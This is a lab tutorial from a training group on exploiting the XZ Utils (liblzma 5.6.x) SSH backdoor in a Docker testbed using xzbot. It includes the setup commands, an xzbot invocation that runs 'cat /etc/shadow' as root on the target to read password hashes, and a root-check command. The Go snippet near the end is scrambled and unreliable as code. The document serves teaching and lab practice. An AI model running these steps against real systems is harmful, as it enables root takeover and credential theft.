Using the XZ backdoor
Table of Contents
Johnverstisment
Introduction
Hi! I’m Zack Sargent. I run the cybersecurity training division of NKCyber, and our members were interested in getting a hands-on experience with the recently exposed XZ backdoor.
You may want to consult the materials from the “Further Reading” section for a more comprehensive understanding of the vulnerability.
Today, we want to specifically answer the question: “How can I exploit the XZ backdoor?”.
Am I vulnerable?
Xe Iaso’s inital report contains very actionable information to determine if you are vulnerable to this exploit:
If you are using one of these distributions, you should check to see if you are using xz version 5.6.0 or 5.6.1. If you are, you should downgrade to 5.4.6. If you can’t downgrade, you should disable public-facing SSH servers until you can downgrade.
At this time, we believe that version 5.4.6 is not vulnerable to this exploit. If you are using a different version, you should check with your distribution’s security mailing list to see if you are vulnerable. If you are not already subscribed to your distribution’s security mailing list, you should do so now.
Here is how you can tell if you’re running the affected version:
xz --version
Here is what the output on the vulnerable version looks like:
$ xz --version xz (XZ Utils) 5.6.1 liblzma 5.6.1
Understanding the mechanics
As has been covered extensively elsewhere, this backdoor involved a sophisticated process in which the binaries distributed to users is different from what was on GitHub (before it was deleted), so that the backdoor could not be found by auditing the code.
Additionally, the attack was designed so that it’s only vulnerable to people with the author’s “private key”. You can think of this like a password. In a sense, the goal of the attack was to hide some code in the most popular Linux distributions so that anyone with the “magic words” could have full control over the entire server.
So, if we want to take advantage of their exploit, we have to edit their code slightly, so that we can control what magic words it is waiting for.
To do this, we can use xzbot by Anthony Weems, which has the following features:
- honeypot: fake vulnerable server to detect exploit attempts
- ed448 patch: patch liblzma.so to use our own ED448 public key
- backdoor format: format of the backdoor payload
- backdoor demo: cli to trigger the RCE assuming knowledge of the ED448 private key
We’re going to be using the backdoor demo for today’s activity.
We can use Anthony’s patches to control the “magic words”/“private key” that the server expects, so that we can control the exploit as if we were the attackers.
Virtual Machine
To create a safe environment to work with this vulnerable code, I recommend working with it in a virtual machine.
I’m personally going to create a Kali VM, because that’s the standard for our club.
Consider adding more RAM to your VM before going further. Also, set your clipboard to bi-directional.
Docker installation
In your hacking environment, you can test if you have
docker
set up properly with:
docker ps
Otherwise, refer to how to install docker for your distro. (See
Kali linux instructions here.) Remember that you may want to
sudo reboot
for docker to set up properly.
Installing Docker Testbed
To practice this exploit, we’re going to use Davide Guerri’s “Small collection of famous exploits”, which describes itself as a “Docker test beds for famous, high-severity, exploits”. In this repo, Davide has done a great job of dockerizing Anthony Weems’s xzbot for testing and practice. It looks like both Anthony and Davide work for Google, which isn’t relevant, but it makes me feel better about not being able to figure this out on my own.
We are going to be heavily utilizing from Davide’s work for today’s activity.
In your hacking environment, run the setup commands:
git clone https://github.com/dguerri/exploits-collection.git cd exploits-collection git submodule update --init --recursive
Then, navigate to the backdoor directory.
cd xz-5.6.1-backdoor
Running the containers
Now, you should be in the xz-5.6.1-backdoor
folder.
Then, start the two servers in the background:
docker compose up --build -d
This will create two networked containers:
xzbackdoor-vulnerable
- This is what we will attackxzbackdoor-poc
- This is where we will attack from
(note that the
Makefile specifies docker-compose
, but you’re might
want docker compose
. There’s a difference,
but both should work for today.)
This will take care of ensuring that we download and set up the
correct versions of xz
and liblzma
. Note the
vulnerable .deb
for liblzma
is
in Davide’s repo.
Executing the attack
Davide’s has listed instructions on how to execute the backdoor via docker compose, but I have modified these instructions slightly to work from within the bash prompt of the docker instance.
# start bash in the docker instance
docker exec -it xzbackdoor-poc bash
# activate python environment (optional, but nice if you want to use patch.py)
. /opt/venv/bin/activate
From here, we can attack the system as if we were running commands on it normally.
Note: The ed448 key pair is generated from a random seed. Info on the key and its seed are printed out and stored in
/exploit/ed448info.txt
We want to get the key and seed that it randomly generated during setup. In the real world, this would be the private key that only the original creators of the exploit have.
# this extracts the seed from the information printed during the challenge setup
seed="$(sed -n 's/^Seed: \([0-9][0-9]*\)/\1/p' /exploit/ed448info.txt)"
# you can do 'cat /exploit/ed448info.txt' for more information.
# Make sure you can run xzbot. ask it for help
/exploit/xzbot/xzbot --help
# (the specific installation location is arbitrary to this exercise)
# use the seed we found earlier
/exploit/xzbot/xzbot -addr xzbackdoor-vulnerable:22 -seed "$seed" -cmd "cat /etc/shadow > /tmp/.xz"
Note the output of this should end with
“ssh: handshake failed: EOF
”. This is normal.
Now, we can prove that we obtained remote code execution by opening another terminal and running:
# go into the vulnerable docker container, and read the file that we created via our SSH connection
docker exec xzbackdoor-vulnerable cat /tmp/.xz
To prove we’re executing as root, we can do the following from the attacking container:
/exploit/xzbot/xzbot -addr xzbackdoor-vulnerable:22 -seed "$seed" -cmd 'echo "current user: $(whoami)" > /tmp/whoami.txt'
and then prove it by opening another terminal and running:
docker exec xzbackdoor-vulnerable cat /tmp/whoami.txt
# should print 'current user: root'
This proves that we’re getting remote code execution as root.
Analysis of xzbot
But, why are we using xzbot? Is it doing anything magical to help us out here?
Nope! It’s just establishing the SSH connection with the appropriate key!
// ... := ed448.NewKeyFromSeed(seed[:]) // creates a key from same seed as in vulnerable system signingKey := &xzSigner{ // xzSigner takes a signing key and generates the appropriate public key xz : signingKey, signingKey: signingKey[ed448.SeedSize:], encryptionKey} // this creates an SSH client as the root user := &ssh.ClientConfig{ config : "root", User: []ssh.AuthMethod{ // Establishes the authentication method using the public Auth.PublicKeys(xz), // key generated from the initial signing key and seed. ssh}, : xz.HostKeyCallback, // takes the SSH public key and computes a hash HostKeyCallback} , err := ssh.Dial("tcp", *addr, config) // establishes an SSH connection client// ...
— xzbot/main.go (comments are mine)
Futher Activities:
- What’s this about a killswitch?
- How to exploit without using xzbot?
Further Reading
I consulted a bunch of resources when building this list. Here’s a compilation of the resources I found to be helpful, with the date they were first posted.
xzbot: https://github.com/amlweems/xzbot
- Credit: Anthony Weems GitHub, Mastodon
- Docker testbed for xzbot
Andres Freund’s Announcement (2024-03-29)
- Andres Freund’s Mastodon Post (2024-03-29)
CVE-2024-3094 published (2024-03-29)
liblzma and xz version 5.6.0 and 5.6.1 are vulnerable to arbitrary code execution compromise (2024-03-29)
“Everything I Know About the XZ Backdoor” (2024-03-29)
Low Level Learning’s “secret backdoor found in open source software (xz situation breakdown)” - (2024-03-29)
Lasse Collin - XZ Utils backdoor (2024-03-30)
A Microcosm of the interactions in Open Source projects (2024-03-30)
Killswitch Thread - Killswitch Post (2024-03-30)
“2024-03-30: xz/liblzma: Bash-stage Obfuscation Explained” (2024-03-30)
Timing analysis (2024-03-30)
“Watching xz unfold from afar” (2024-03-31)
Twitter InfoGraphic (2024-03-31)
XZ Utils Backdoor - critical SSH vulnerability (CVE-2024-3094) (2024-04-01)
Timeline (2024-04-01)
The xz attack shell script (2024-04-02)
Ars Technica Overview (2024-04-01)
What Everyone Missed About The Linux Hack (2024-04-01)
ThePrimeagen & Low Level Learning: “xz Exploit Is WILD - Must See Bash Part” (2024-04-01)
xz-utils-exploit-lab (2024-04-02)
“reflections on distrusting xz” (2024-04-03)
Low Level Learning - “revealing the features of the XZ backdoor” (2024-04-03)